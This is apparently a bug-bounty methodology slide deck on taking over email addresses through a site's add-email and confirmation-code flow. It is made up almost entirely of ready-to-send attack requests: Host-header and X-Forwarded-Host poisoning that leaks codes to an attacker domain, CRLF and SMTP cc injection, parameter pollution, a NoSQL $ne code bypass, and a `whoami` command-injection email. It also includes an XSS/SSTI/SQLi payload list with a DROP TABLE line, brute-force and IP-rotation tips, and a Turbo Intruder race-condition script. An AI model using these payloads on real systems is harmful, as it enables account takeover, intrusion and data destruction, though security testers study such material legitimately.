E T O

Adding E-mail

Mahmoud M. Awali

@0xAwali

attacker

My Methodology

Try To Change Host Header e.g. Host: me.com To Get The Confirmation Code

- Slides

```
POST /addEmail HTTP/1.1
Host: me.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number

email=victim@gmail.com&csrf=*******
```

attacker

My Methodology

Try To Override The Host Header e.g. POST https://company.com AND Change Host Header e.g Host: me.com To Get The Confirmation Code

- Mine

```
POST https://company.com/addEmail HTTP/1.1
Host: me.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number

email=victim@gmail.com&csrf=*******
```

attacker

My Methodology

Try To Ambiguate The Host Header e.g. Host: company.com@me.com To Get The Confirmation Code

- Mine

```
POST /addEmail HTTP/1.1
Host: company.com@me.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number

email=victim@gmail.com&csrf=*******
```

attacker

My Methodology

Try To Ambiguate The Host Header e.g. Host: company.com:@me.com To Get The Confirmation Code

- Mine

```
POST /addEmail HTTP/1.1
Host: company.com:@me.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number

email=victim@gmail.com&csrf=*******
```

attacker

My Methodology

Try To Ambiguate The Host Header e.g. Host: company.com: me.com To Get The Confirmation Code

- Mine

```
POST /addEmail HTTP/1.1
Host: company.com: me.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number

email=victim@gmail.com&csrf=*******
```

attacker

My Methodology

Try To Change Routing Of The Request e.g. POST @me.com/addEmail OR POST :@me.com/addEmail To Get The Confirmation Code

- Mine

```
POST @me.com/addEmail HTTP/1.1
Host: company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number

email=victim@gmail.com&csrf=*******
```

attacker

My Methodology

Try To Change Routing Of The Request e.g. POST /addEmail@me.com# OR POST @me.com/addEmail To Get The Confirmation Code

- Mine

```
POST /addEmail@me.com# HTTP/1.1
Host: company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number

email=victim@gmail.com&csrf=*******
```

attacker

My Methodology

Try To Change Routing Of The Request e.g. POST /addEmail@me.com# OR POST /addEmail:@me.com# With HTTP/1.0 To Get The Confirmation Code

- Mine

```
POST /addEmail@me.com# HTTP/1.0
Host: company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number

email=victim@gmail.com&csrf=*******
```

attacker

My Methodology

Try To Add Another Host Header e.g. Host: me.com To Get The Confirmation Code

- Mine

```
POST /addEmail HTTP/1.1
Host: www.company.com
Host: me.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Origin: https://www.company.com
Content-Length: Number

email=victim@gmail.com&csrf=*******
```

attacker

My Methodology

Try To Add Another Space-surrounded Host Header e.g. Host:me.com To Get The Confirmation Code

- Mine

```
POST /addEmail HTTP/1.1
Host: www.company.com
 Host: me.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Origin: https://www.company.com
Content-Length: Number

email=victim@gmail.com&csrf=*******
```

attacker

My Methodology

Try To Change Host Header e.g. Host: me.com AND Add X-Forwarded-Host Header Too e.g. X-Forwarded-Host: me.com To Get The Confirmation Code

- Mine

```
POST /addEmail HTTP/1.1
Host: me.com
X-Forwarded-Host: me.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Origin: https://www.company.com
Content-Length: Number

email=victim@gmail.com&csrf=*******
```

attacker

My Methodology

Try To Change Host Header e.g. Host: me.com AND Add X-Forwarded-Host Header Too e.g. X-Forwarded-Host: company.com To Get The Confirmation Code

- Mine

```
POST /addEmail HTTP/1.1
Host: me.com
X-Forwarded-Host: company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Origin: https://www.company.com
Content-Length: Number

email=victim@gmail.com&csrf=*******
```

attacker

My Methodology

Try To Add X-Forwarded-Host Header e.g. X-Forwarded-Host: company.com AND Referer Header Too e.g. Referer: https://me.com To Get The Confirmation Code

- Mine

```
POST /addEmail HTTP/1.1
Host: www.company.com
X-Forwarded-Host: me.com
Referer: https://me.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Origin: https://www.company.com
Content-Length: Number

email=victim@gmail.com&csrf=*******
```

attacker

My Methodology

Try To Use Noun-Standard Headers e.g. X-Forwarded-For , X-Forwarded-Host , X-Client-IP , True-Client-IP AND X-Originating-IP etc To Get The Confirmation Code

- **Mine**

```
POST /addEmail HTTP/1.1
Host: www.company.com
X-Forwarded-For: me.com
X-Forwarded-Host: me.com
X-Client-IP: me.com
X-Originating-IP: me.com
X-WAP-Profile: https://me.com/file.xml
True-Client-IP: me.com
Referer: https://me.com/
Content-Length: Number

email=victim@gmail.com&csrf=*******
```

attacker

My Methodology

Try To Use Noun-Standard Headers e.g. X-Forwarded-For , X-Forwarded-Host , X-Client-IP , True-Client-IP AND X-Originating-IP With e.g. company.com@me.com

- Mine

```
POST /addEmail HTTP/1.1
Host: www.company.com
X-Forwarded-For: www.company.com@me.com
X-Forwarded-Host: www.company.com@me.com
X-Client-IP: www.company.com@me.com
X-Originating-IP: www.company.com@me.com
X-WAP-Profile: https://www.company.com@me.com/file.xml
True-Client-IP: www.company.com@me.com
Referer: https://www.company.com@me.com/
Content-Length: Number

email=victim@gmail.com&csrf=*******
```

attacker

My Methodology

Try To Use Noun-Standard Headers e.g. X-Forwarded-For , X-Forwarded-Host , X-Client-IP , True-Client-IP AND X-Originating-IP With e.g. me.com/.company.com

- Mine

```
POST /addEmail HTTP/1.1
Host: www.company.com
X-Forwarded-For: me.com/.company.com
X-Forwarded-Host: me.com/.company.com
X-Client-IP: me.com/.company.com
X-Originating-IP: me.com/.company.com
X-WAP-Profile: https://me.com/.company.com/file.xml
True-Client-IP: me.com/.company.com
Referer: https://me.com/.company.com
Content-Length: Number

email=victim@gmail.com&csrf=*******
```

attacker

My Methodology

Try To Use CRLF and Host Header Injection e.g. ?0a%0dHost:me.com AND You Can Use Others Headers e.g. X-Host , True-Client-IP AND X-Forwarded-Host etc

- **Mine**

```
POST /resetPassword?0a%0dHost:me.com HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number

email=victim@gmail.com&csrf=*******
```

attacker

My Methodology

Try To Add Email e.g. victim@gmail.comğhotmail.com , Maybe Backend Think Your Email Is victim@gmail.com?hotmail.com So You Can Takeover This Email

- Tweet

attacker

My Methodology

Try To Use CRLF and SMTP Injection e.g. victim@gmail.com%0a%0d cc:attacker@gmail.com To Receive The Confirmation Code In Your Mail

- Mine

```
POST /resetPassword HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number

email=victim@gmail.com%0a%0dcc:me@gmail.com&
csrf=*******
```

attacker

My Methodology

Try To Use Parameter Pollution Technique e.g. victim@gmial.com&email=me@gmail.com To Get The Confirmation Code Too

- Mine

```
POST /resetPassword HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number

email=victim@gmail.com&email=me@gmail.com&csrf=*********
```

attacker

My Methodology

Try To Use Separators e.g. | , %20 OR , To Get The Confirmation Code Too

- Mine

```
POST /resetPassword HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number

email=victim@gmail.com,me@gmail.com&csrf=*******
```

attacker

My Methodology

Try To Change Content Type Header To application/json AND Insert Value Of Email As Array e.g {"email":["victim@gmail.com","me@gmail.com"]} To Get The Confirmation Code Too

- Mine

```
POST /resetPassword HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/json
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number

{"email":["victim@gmail.com","me@gmail.com"],"csrf":
"********"}
```

attacker

My Methodology

Sometimes They Ping Your Host Before Sending A Mail So Try To Use Burp Collaborator Mail Address with Injection OS Command To Get RCE

- Tweet

```
POST /resetPassword HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number

email=me@`whoami`.id.collaborator.net&csrf=*******
```

attacker

My Methodology

Use This List Of Payloads As Email Addresses To Get XSS , SSTI , SQLi OR Abusing Of Database

- Tweet
- Tweet
- Tweet
- Video
- Writeup

```
me+(<script>alert(0)</script>)@gmail.com
me(<script>alert(0)</script>)@gmail.com
me@gmail(<script>alert(0)</script>).com
"<script>alert(0)</script>"@gmail.com
"<%= 7 * 7 %>"@gmail.com
me+(${{7*7}})@gmail.com
'" OR 1=1 -- '"@gmail.com
"me); DROP TABLE users;--"@gmail.com
me@[id.collaborator.net]
%@gmail.com
```

attacker

My Methodology

Enter Correct Email AND Wrong Code Then Try To Manipulate The Response To Change The Response To Response Of The Correct Confirmation Code To Get ETO

- **Mine**

```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://www.company.com
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
Content-Length: length

{
        "email" : "victim@gmail.com" ,
        "code" : ******
}
```

attacker

My Methodology

Try To Use IDOR Technique By Inserting Email Address Of Victim e.g. victim@gmail.com With Your Token To Takeover This E-mail

- Mine

```
POST /addEmail/Verify HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number

email=victim@gmail.com&code=Your-Token&csrf=*******
```

attacker

My Methodology

Try To Change Content Type Header To application/json AND Insert Value Of Code As Array e.g {"code":["$ne","WrongCODE"]} To Bypass The Confirmation Code

- Slides

```
POST /addEmail/Verify HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/json
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number

{"email":"victim@gmail.com","csrf":"*******","code":{"$ne":"wrong"}]}
```

attacker

My Methodology

Try To Brute Force The Confirmation Code Using Multiple IPs Or Using IP Rotate Burp Suite Extension

- Mine

```
POST /addEmail/Verify HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number

email=victim@gmail.com&code=FUZZ&csrf=*******
```

attacker

My Methodology

Try To Figure Out Reaction Of The Server While Doing Race Condition By Using Turbo Intruder OR Nuclei To Send Simultaneously Requests

- Blog
- Blog

```
POST /addEmail/verify HTTP/1.1
Host: www.company.com
X-Test: %s

email=victim@gmail.com&otp=wrongOTP&csrf=*******

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=30,
                           requestsPerConnection=100,
                           pipeline=False
                           )
    for i in range(30):
        engine.queue(target.req, target.baseInput, gate='race1')
    engine.openGate('race1')
    engine.complete(timeout=60)
def handleResponse(req, interesting):
    table.add(req)
```

Thank You

Mahmoud M. Awali

@0xAwali